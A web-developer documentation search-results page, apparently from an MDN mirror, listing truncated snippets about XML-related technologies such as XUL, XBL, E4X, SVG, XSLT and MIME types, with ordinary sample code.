... var targetdoc = null; function onload() { var iframe = document.getelementbyid("contentiframe"); targetdoc = iframe.contentdocument; iframe.contentwindow.addeventlistener("newstuff", receivestufffrompage, false); } function receivestufffrompage(event) { var uc = geteventdata(event); // uc = unchecked data in form of e4x xml var stuff = {}; stuff.id = sanitize.integer(uc.@id); stuff.name = sanitize.label(uc.@name); } function sendsomethingtopage (something) { var somethingxml = <something/>; // |something| object as e4x xml somethingxml.@id = something.id; somethingxml.@weight = something.weight; sendmsg("sendsomething", somethingxml); } /** * send msgs from chrome to the page * @param type {string}...
...And 3 more matches
In-Depth - Archive of obsolete content
place this xml file in \classic\skin\classic\communicator\toolbar\toolbarbindings.xml (you will need to create the sub directory).
...change: -moz-binding: url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding: url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add.
...to style that image, we first need to get a handle to the toolbar, then the box inside of it, and then to the image that we added with the xml.
...And 3 more matches
jspage - Archive of obsolete content
on!=undefined)?"ipod":(navigator.platform.match(/mac|win|linux/i)||["other"])[0].tolowercase()},features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?950:925)); },trident:function(){return(!window.activexobject)?false:((window.xmlhttprequest)?((document.queryselectorall)?6:5):4);},webkit:function(){return(navigator.taintenabled)?false:((browser.features.xpath)?((browser.features.query)?525:420):419); },gecko:function(){return(!document.getboxobjectfor&&window.mozinnerscreenx==null)?false:((document.getelementsbyclassname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(va...
...r b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscript){window.execscri...
...=document.id(a,true);a.parentnode.replacechild(this.toelement(),a); return this;},inject:function(a){document.id(a,true).appendchild(this.toelement());return this;},remote:function(){return swiff.remote.apply(swiff,[this.toelement()].extend(arguments)); }});swiff.callbacks={};swiff.remote=function(obj,fn){var rs=obj.callfunction('<invoke name="'+fn+'" returntype="javascript">'+__flash__argumentstoxml(arguments,2)+"</invoke>"); return eval(rs);};var fx=new class({implements:[chain,events,options],options:{fps:50,unit:false,duration:500,link:"ignore"},initialize:function(a){this.subject=this.subject||this; this.setoptions(a);this.options.duration=fx.durations[this.options.duration]||this.options.duration.toint();var b=this.options.wait;if(b===false){this.options.link="cancel"; }},gettransition:...
...And 3 more matches
New Security Model for Web Services - Archive of obsolete content
using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to communicate with.
... the root element the first element of the file should be the following: <wsa:webscriptaccess xmlns:wsa="http://www.mozilla.org/2002/soap/security"> delegation if the <delegate/> element is present then "web-scripts-access.xml" is required in the subdirectory for uris which are in a subdirectory.
... for example, if the script in question is "http://www.example.com/foo/bar.xml", then the declarations file http://www.example.com/web-scripts-access.xml which contains the "delegate" keyword delegates to http://www.example.com/foo/web-scripts-access.xml.
...And 3 more matches
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
... e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists.
... e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
...And 3 more matches
Adding Style Sheets - Archive of obsolete content
it was originally designed for html elements but can be applied to xul elements also, or to any xml for that matter.
...the second line has always been: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line indicates that we want to use the style provided by chrome://global/skin/.
...first, the modifed lines of findfile.xul: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="findfile.css" type="text/css"?> ...
...And 3 more matches
Introduction - Archive of obsolete content
next » this tutorial is a guide to learning xul (xml user interface language) which is a cross-platform language for describing applications' user interfaces.
...it is an xml language so all features available to xml are also available to xul.
... xul has all the advantages of other xml languages.
...And 3 more matches
XUL Questions and Answers - Archive of obsolete content
loading remote dtds for xml documents is currenty not supported in xul.
... support for non-rdf datasources for xul template is planned (bug 321170): xml datasources (bug 321171) storage (sqlite) datasources (bug 321172) when loading an xslt stylesheet into an xml i get the error: "error loading stylesheet: an xslt stylesheet load was blocked for security reasons." that error is from a security check that has been put up to safeguard against cross-site-scripting attacks.
...the following is the code they wrote: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="test-window" title="check list test" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <listbox rows="4"> <listhead> <listheader label="multi-column"/> </listhead> <listcols> <listcol flex="1"/> </listcols> <listitem> <listcel...
...And 3 more matches
XUL Coding Style Guidelines - Archive of obsolete content
introduction xul, pronounced as "zool", stands for "xml-based user interface language", is a cross platform way of describing user interface.
... xml, xul, html, and xhtml guidelines the following are considered good coding style for xml/xul documents.
...use the xml declaration.
...And 3 more matches
Using workers in extensions - Archive of obsolete content
how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
... this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth.
... the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information.
...And 3 more matches
Using XForms and PHP - Archive of obsolete content
returning xml data to either serve a page (with xforms in it) or to generate data used as instance data for xforms, the page needs to be served as xml, for example application/xhtml+xml.
... to do that, you need to use the header() php function: <?php header("content-type: application/xhtml+xml; charset=utf-8"); ...
...to really use the power of xforms (/xml) you would probably submit xml.
...And 3 more matches
XUL Parser in Python - Archive of obsolete content
it's really just a wrapper around python's xmllib xml parser, but i had to sort of fool around with it.
... python's support for xml (and potential with xul) is extensive, and so it's more a matter of choosing an approach and hooking things up than anything else.
... how the script works as i said before, there isn't too much to explain in this script, particularly if you have used python's xmllib parser before.
...And 3 more matches
Displaying Places information using views
every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views.
...remember that, because xul is xml, any ampersands in query uris must be written as entity reference &amp; and not simply &.
...the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="url" flex="1" /> </treecols> <treechildren /> </tree> the tree view is implemented in browser/components/places/content/tree.xml.
...And 3 more matches
Setting up an update server
then, create a file within called update.xml with these contents, replacing <mar name>, <hash> and <size> with the mar's filename, its sha512 hash, and its file size in bytes.
... <?xml version="1.0" encoding="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete" url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512sums in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for every file that's part of that release), and for a nightly build you'll find a file with a .checksums extension adjacent to your mar that contains that information (for instance, for the mar file...
...be sure to remove the commas when you paste this number into the xml file.
...And 3 more matches
Introduction to the DOM - Web APIs
we'll look at how the dom represents an html or xml document in memory and how you use apis to create web content and applications.
... the document object model (dom) is a programming interface for html and xml documents.
...the dom is not a programming language, but without it, the javascript language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g.
...And 3 more matches
Setting up adaptive streaming media sources - Developer guides
the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too - it is an xml document and in many cases will be generated for you.
... <?xml version="1.0" encoding="utf-8"?> <mpd xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xmlns="urn:mpeg:dash:schema:mpd:2011" xsi:schemalocation="urn:mpeg:dash:schema:mpd:2011 dash-mpd.xsd" type="static" mediapresentationduration="pt654s" minbuffertime="pt2s" profiles="urn:mpeg:dash:profile:isoff-on-demand:2011"> <baseurl>http://example.com/ondemand/</baseurl> <period> <!
... <video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fallback for browsers that don't yet support mpeg-dash: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fallback --> <source src="my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> live profile a useful piece of software when dealing with mpeg-dash is dash encoder.
...And 3 more matches
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
the new parser introduces these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax.
...this means that you can now use svg and mathml inline in text/html similarly to what has previously been possible in application/xhtml+xml.
... foreignobject and annotation-xml (and various less important elements) establish a nested html scope, so you can nest svg, mathml and html as you’d expect to be able to nest them.
...And 3 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /> <!-- upper ri...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "arcs" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="pink" fill="none" stroke-width="0.025" /> ...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "bevel" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5"...
...And 3 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
basic example <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop class="stop1" offset="0%"/> <stop class="stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset="50%" stop-color="black" stop-opaci...
...duplicate values will use the stop that is assigned furthest down the xml tree.
... <lineargradient id="gradient1"> <stop id="stop1" offset="0%"/> <stop id="stop2" offset="50%"/> <stop id="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#gradient1"/> i've included the xlink namespace here directly on the node, although usually you would define it at the top of your document.
...And 3 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt print books xslt: programmer's reference, second edition author: michael h.
... http://www.amazon.com/xslt-programme.../dp/0764543814 xslt author: doug tidwell length: 473 pages publisher: o'reilly media; 1 edition (august 15, 2001) isbn: 0596000537 doug tidwell is a senior developer at ibm and a prominent evangelist for xml technologies generally.
... he is the author of several articles and tutorials on various aspects of xml at ibm's extensive xml developer site.
...And 3 more matches
Dialogs and Prompts - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel func...
...for example, to add an apply button to your dialog, use the following code: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." buttons="accept,cancel,extra1" ondialogaccept="onaccept();" ondialogextra1="onapply();" buttonlabelextra1="apply" buttonaccesskeyextra1="a"> <!-- content --> </dialog> you can even get the element object for any of predefined buttons with gdialog.getbutton(dlgtype);, where gdialog is the <dialog> element and...
... example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" ondialogaccept="alert('ok!');"> <hbox> <label value="hey!"/> <spacer flex="1"/> <vbox> <button dlgtype="accept"/> <button dlgtype="cancel"/> </vbox> </hbox> </dialog> default button since firefox 1.5, there are de...
...And 2 more matches
QuerySelector - Archive of obsolete content
// if you'd like to convert it to a array for convenience, use this instead: // return array.prototype.slice.call(el.queryselectorall(selector)); } alert($('#myid').id); (note that while using the firefox web console, the above functions are available automatically.) both xul and even xml can be easily made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return this.queryselector(selector); }; example: <h1>te...
...e.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <script type="text/javascript"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and p...
...lain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert(foo.$('bar')); note that for plain xml, the # 'id' selector will not ...
...And 2 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
} var attrns = namespace(key); if (typeof val == "function") { // special case for function attributes; don't just add them as 'on...' attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml attributes is, and should be, blank (ie.
...note that this will not work for * xml fragments.
... * @param {boolean} isxml if true, parse the fragment as xml.
...And 2 more matches
The Essentials of an Extension - Archive of obsolete content
the file is formatted in a special flavor of xml called rdf.
... xul files are xml files that define the user interface elements in firefox and firefox extensions.
... <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the root element in the file is an overlay.
...And 2 more matches
Promises - Archive of obsolete content
config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp = new date; }); http requests http requests should, in nearly all circumstances, be made via the standard xmlhttprequest api.
...moreover, many third-party wrappers for the xmlhttprequest api now support promises out of the box.
... let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", dataurl); xhr.responsetype = "json"; xhr.send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request.
...And 2 more matches
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http.
... although it is designed to retrieve xml content and parse it into a dom, it can retrieve (but not parse) other kinds of content as well.
... xmlhttprequest is easy to use in the simple case we have here.
...And 2 more matches
Microsummary topics - Archive of obsolete content
ird 6.0 / seamonkey 2.3) programmatically installing a microsummary generator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
... for example, the following code snippet installs the microsummary generator from the creating a microsummary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'download-count\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var d...
...omparser = components.classes["@mozilla.org/xmlextras/domparser;1"].
...And 2 more matches
Example Sticky Notes - Archive of obsolete content
e html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme,&nbsp;inc.
...ggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityripple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- in above only xbl namespace declaration is mandatory.
... the others are only needed if you plan to handle xul (xml user interface language) or/and svg (scalable vector graphics) in your bindings; xlink in xml also may come useful sometimes.
...And 2 more matches
Building accessible custom components in XUL - Archive of obsolete content
however, it is less well-known that the same dhtml accessibility techniques can be applied to xul, mozilla's xml markup language for building user interfaces.
...we will need to declare the namespace (xmlns:x2="http://www.w3.org/tr/xhtml2") so we can add an xhtml2:role attribute to each xul element.
...we will need to declare this namespace as well (xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/guiroletaxonomy#"), and then use this namespace prefix (wairole:) as part of the role attribute value.
...And 2 more matches
Building Hierarchical Trees - Archive of obsolete content
for an xml datasource, the tree might display a node's children as the children in the tree, making the tree display a hierarchy similar to that in the xml document.
... or, with more complex xpath expressions, a template could display a tree where the hierarchy wasn't directly like the xml document.
...here is an example for the streets datasource: <tree flex="1" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <treecols> <treecol id="address" primary="true" label="address" flex="1"/> <treecol id="floors" label="floors" flex="1"/> </treecols> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://www.xulplanet.com/...
...And 2 more matches
Introduction to XBL - Archive of obsolete content
like xul, xbl is an xml language, so it has similar syntax rules.
... the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
...for example: scrollbar { -moz-binding: url('chrome://findfile/content/findfile.xml#binding1'); } the url points to the binding with the id 'binding1' in the file 'chrome://findfile/content/findfile.xml'.
...And 2 more matches
Localization - Archive of obsolete content
xul and xml provide entities which are a convenient way of allowing localization.
...xml provides entities which can be used for a similar purpose.
...xml has a syntax which allows you to declare custom entities.
...And 2 more matches
Application Update - Archive of obsolete content
use what you need, %product%,%version%,%build_id%,%channel% for example pref("app.update.url", "https://yourserver.net/update/3/%product%/%version%/%build_id%/%build_target%/%locale%/%channel%/%os_version%/%distribution%/%distribution_version%/update.xml"); // url user can browse to manually if for some reason all update installation // attempts fail.
... update.xml the format is outlined here process as best i can tell here's how the update process works.
... at the scheduled interval the application checks the update server for update.xml, search for the correct one using the software name, versions, build id's, channels, and other information like locales.
...And 2 more matches
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
however, it has become common practice to putxml escaped html data in it.
...this greatly bloats the size of contents but is necessary since certain characters are no allowed in xml.
... xml does however have the cdata convention.
...And 2 more matches
Namespaces - Archive of obsolete content
« previousnext » e4x and namespaces oftentimes, xml documents will contain elements from a variety of namespaces.
... you can declare the default namespace for your e4x objects by placing the statement: default xml namespace = "http://www.w3.org/1999/xhtml"; within the same scope as your e4x.
...default xml namespace = "http://www.w3.org/1999/xhtml"; var a = <p>some text</p>; default xml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>more text</label>; a.appendchild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">more text</label> </p> name() using name() on an xml object returns a qname object (qualified name).
...And 2 more matches
Windows Media in Netscape - Archive of obsolete content
bad approach if (document.all) { // use activexobject or write ie only object markup } else { // use netscape plugins } better approach if (window.activexobject) { // activexobject is supported } else if (window.geckoactivexobject) { // geckoactivexobject is supported } else { // use netscape plugins } use of microsoft's msxml in conjunction with the windows media player remember that windows media player is the only activex control that netscape 7.1 supports.
... use of microsoft's msxml in conjunction with use of windows media player is common, particularly since both are offered to the developer community as activex controls for ie browsers.
... in particular, the xmlhttp object is a popular one for establishing dynamic channel communication.
...And 2 more matches
JS_SetOptions
mxr id search for jsoption_atline jsoption_xml obsolete since jsapi 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the comment-hiding hack used in html script tags.
... mxr id search for jsoption_xml jsoption_allow_xml added in spidermonkey 15 if this is off, e4x syntax isn't supported no matter what version number is set.
... mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the comment-hiding hack used in html script tags.
...And 2 more matches
JSAPI reference
lookuppropertywithflags obsolete since jsapi 31 js_lookuppropertywithflagsbyid obsolete since jsapi 31 js_newpropertyiterator obsolete since jsapi 36 js_nextproperty obsolete since jsapi 36 js_setpropertyattributes obsolete since jsapi 26 js_setucpropertyattributes obsolete since jsapi 26 the following functions behave like js_getproperty and js_getpropertybyid except when operating on e4x xml objects.
...sid_is_string jsid_to_string interned_string_to_jsid added in spidermonkey 38 jsid_to_flat_string added in spidermonkey 17 jsid_is_int jsid_to_int int_fits_in_jsid int_to_jsid jsid_is_symbol added in spidermonkey 38 jsid_to_symbol added in spidermonkey 38 symbol_to_jsid added in spidermonkey 38 jsid_is_gcthing jsid_to_gcthing jsid_is_object obsolete since jsapi 33 jsid_is_default_xml_namespace obsolete since jsapi 21 classes these api features are used to define custom classes—object types that are implemented in c/c++ code but accessible from javascript.
...s_initclass js_linkconstructorandprototype added in spidermonkey 17 js::propertyspecnameissymbol added in spidermonkey 38 js::propertyspecnameequalsid added in spidermonkey 38 js::propertyspecnametopermanentid added in spidermonkey 38 js_getreservedslot js_setreservedslot struct jsextendedclass obsolete since javascript 1.8.5 struct jsobjectops obsolete since javascript 1.8.5 struct jsxmlobjectops obsolete since javascript 1.8.5 struct jsproperty obsolete since jsapi 16 adding native properties and methods to classes: jsnative struct jsfunctionspec js_fs added in spidermonkey 1.8 js_fn added in spidermonkey 1.8 js_sym_fn added in spidermonkey 38 js_fninfo added in spidermonkey 17 js_self_hosted_fn added in spidermonkey 31 js_self_hosted_sym_fn added in spidermonkey 38...
...And 2 more matches
nsIScriptableUnescapeHTML
implemented by: @mozilla.org/feed-unescapehtml;1 as a service: var scriptableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml); method overview nsidomdocumentfragment parsefragment(in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); methods parsefragment() parses a string of html or xml source into a sanitized documentfragment.
... this is equivalent to calling nsiparserutils::parsefragment(fragment, 0, isxml, baseuri, element).
... nsidomdocumentfragment parsefragment( in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element ); parameters fragment a string of html or xml source to parse as a fragment.
...And 2 more matches
View Source - Firefox Developer Tools
view source lets you look at the html or xml source for the page you're viewing.
... parse errors related to xmlns attributes aren't reported.
... xml syntax highlighting view source uses the html tokenizer when highlighting xml source.
...And 2 more matches
XSLT Basic Example - Web APIs
the example will take an xml document that contains information (title, list of authors and body text) about an article and present it in an human readable form.
...the xml document (example.xml) contains the information about the article.
... using the ?xml-stylesheet?
...And 2 more matches
@namespace - CSS: Cascading Style Sheets
@namespace is an at-rule that defines xml namespaces to be used in a css style sheet.
... syntax /* default namespace */ @namespace url(xml-namespace-url); @namespace "xml-namespace-url"; /* prefixed namespace */ @namespace prefix url(xml-namespace-url); @namespace prefix "xml-namespace-url"; description the defined namespaces can be used to restrict the universal, type, and attribute selectors to only select elements within that namespace.
... the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies.
...And 2 more matches
MIME types (IANA media types) - HTTP
common examples are image/jpeg, image/png, and image/svg+xml.
...alternative mime types for xhtml (like application/xhtml+xml) are mostly useless nowadays.
... note: use application/xml or application/xhtml+xml if you want xml’s strict parsing rules, <![cdata[…]]> sections, or elements that aren't from html/svg/mathml namespaces.
...And 2 more matches
List of default Accept values - HTTP
user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter.
... (source) safari, chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* see ie and the accept header (ieinternals' msdn blog).
... edge text/html, application/xhtml+xml, image/jxr, */* opera text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 values for an image when requesting an image, like through an html <img> element, user-agent often sets a specific list of media types to be welcomed.
...And 2 more matches
MathML documentation index - MathML
WebMathMLIndex
found 40 pages: # page tags and summary 1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
...in firefox this error message is rendered similar to the typical xml error message.
... note that this error is not thrown when your mathml markup is wrong or not well-formed xml.
...And 2 more matches
Image file type and format guide - Web media technologies
chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibili...
... svg (scalable vector graphics) svg is an xml-based vector graphics format that specifies the contents of an image as a set of drawing commands that create shapes, lines, apply colors, filters, and so forth.
